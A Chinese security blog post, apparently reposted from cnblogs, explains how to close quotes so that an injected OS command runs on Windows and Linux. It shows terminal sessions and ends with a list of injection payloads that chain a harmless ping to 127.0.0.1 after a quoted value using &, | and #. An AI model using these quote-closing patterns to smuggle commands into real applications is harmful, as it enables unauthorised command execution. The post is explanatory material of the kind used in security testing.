• 关于OS命令注入的闭合问题


    1、在Windows下

    复制代码
     1 windows下非常好办,只需要&肯定可以执行:
     2 C:UsersxxxDesktop>aaaa | ping -n 5 127.0.0.1
     3 'aaaa' 不是内部或外部命令,也不是可运行的程序
     4 或批处理文件。
     5 
     6 C:UsersxxxDesktop>C:Userschenran01.ESGDesktop	est.bat
     7 
     8 C:UsersxxxDesktop>aaaa' | ping -n 5 127.0.0.1
     9 'aaaa'' 不是内部或外部命令,也不是可运行的程序
    10 或批处理文件。
    11 
    12 C:UsersxxxDesktop>C:Userschenran01.ESGDesktop	est.bat
    13 
    14 C:UsersxxxDesktop>aaaa' & ping -n 5 127.0.0.1
    15 'aaaa'' 不是内部或外部命令,也不是可运行的程序
    16 或批处理文件。
    17 
    18 正在 Ping 127.0.0.1 具有 32 字节的数据:
    19 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    20 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    21 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    22 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    23 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    24 
    25 127.0.0.1 的 Ping 统计信息:
    26     数据包: 已发送 = 5,已接收 = 5,丢失 = 0 (0% 丢失),
    27 往返行程的估计时间(以毫秒为单位):
    28     最短 = 0ms,最长 = 0ms,平均 = 0ms
    29 
    30 C:UsersxxxDesktop>
    复制代码

    或者把&换成||上文中的例子也可以执行。

    2、在Linux下:

    在Linux下就显得复杂一些了

    先来看一个可以执行的例子:

    复制代码
    1 $ 'aaaa'|ping -c 4 127.0.0.1 # ''
    2 -bash: aaaa: command not found
    3 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
    4 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms
    5 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
    6 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.068 ms
    7 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.054 ms
    复制代码

    # ' 来闭合最后的'从而达到了命令注入执行,如果去掉#就发现不行了

    1 $ 'aaaa|ping -c 4 127.0.0.1  ''
    2 > 

    类似的这种需要闭合前面的'

    复制代码
     1 $ 'aaaa'|ping -c 4 127.0.0.1 
     2 -bash: aaaa: command not found
     3 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
     4 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.063 ms
     5 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
     6 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.066 ms
     7 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.062 ms
     8 
     9 --- 127.0.0.1 ping statistics ---
    10 4 packets transmitted, 4 received, 0% packet loss, time 3000ms
    11 rtt min/avg/max/mdev = 0.062/0.065/0.072/0.010 ms
    12 $ 'aaaa|ping -c 4 127.0.0.1 
    13 > 
    复制代码

    上面是使用|的一些例子,下面来看看&

    复制代码
     1 $ 'aaa'&ping -c 4 127.0.0.1
     2 [1] 4434
     3 -bash: aaa: command not found
     4 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
     5 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
     6 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.069 ms
     7 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.057 ms
     8 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.067 ms
     9 
    10 --- 127.0.0.1 ping statistics ---
    11 4 packets transmitted, 4 received, 0% packet loss, time 2999ms
    12 rtt min/avg/max/mdev = 0.057/0.064/0.069/0.010 ms
    13 [1]+  Exit 127                'aaa'
    14 $ 
    复制代码

    综上闭合OS执行的payload只需:

    复制代码
    1 #windows:
    2 'aaa&ping 127.0.0.1&'
    3 'aaa||ping 127.0.0.1||'
    4 #linux下:
    5 'aaa'&ping -c 4 127.0.0.1
    6 'aaa'|ping -c 4 127.0.0.1
    7 'aaa'|ping -c 4 127.0.0.1# ''
    复制代码
    博主简介:博主国内安全行业目前最强大的网络安全公司做技术研究员,常年做技术工作。 获得过以下全国竞赛大奖: 《中国电子作品大赛一等奖》 《云计算技术大赛一等奖》 《AIIA人工智能大赛优胜奖》《网络安全知识竞赛一等奖》 《高新技术个人突出贡献奖》,并参与《虚拟化技术-**保密**》一书编写,现已出版。还拥有多项专利,多项软件著作权! 且学习状态上进,立志做技术牛逼的人。座右铭:在路上,永远年轻,永远热泪盈眶。可邮件联系博主共同进步,个人邮箱:pigeon_code@163.com
  • 相关阅读:
    Entity Framework简介
    Java学习笔记-spring-Bean作用于
    Java学习笔记-spring-Bean实例化
    第四章--第二节:类
    为什么越来越少的人用jQuery
    年入50万的方法
    第一节--项目介绍和初始化
    第四章--第一节:函数
    第一节--API爬虫--环境设置与课程简介
    第三章--第六节:元祖
  • 原文地址:https://www.cnblogs.com/mutudou/p/15029654.html
Copyright © 2020-2023  润新知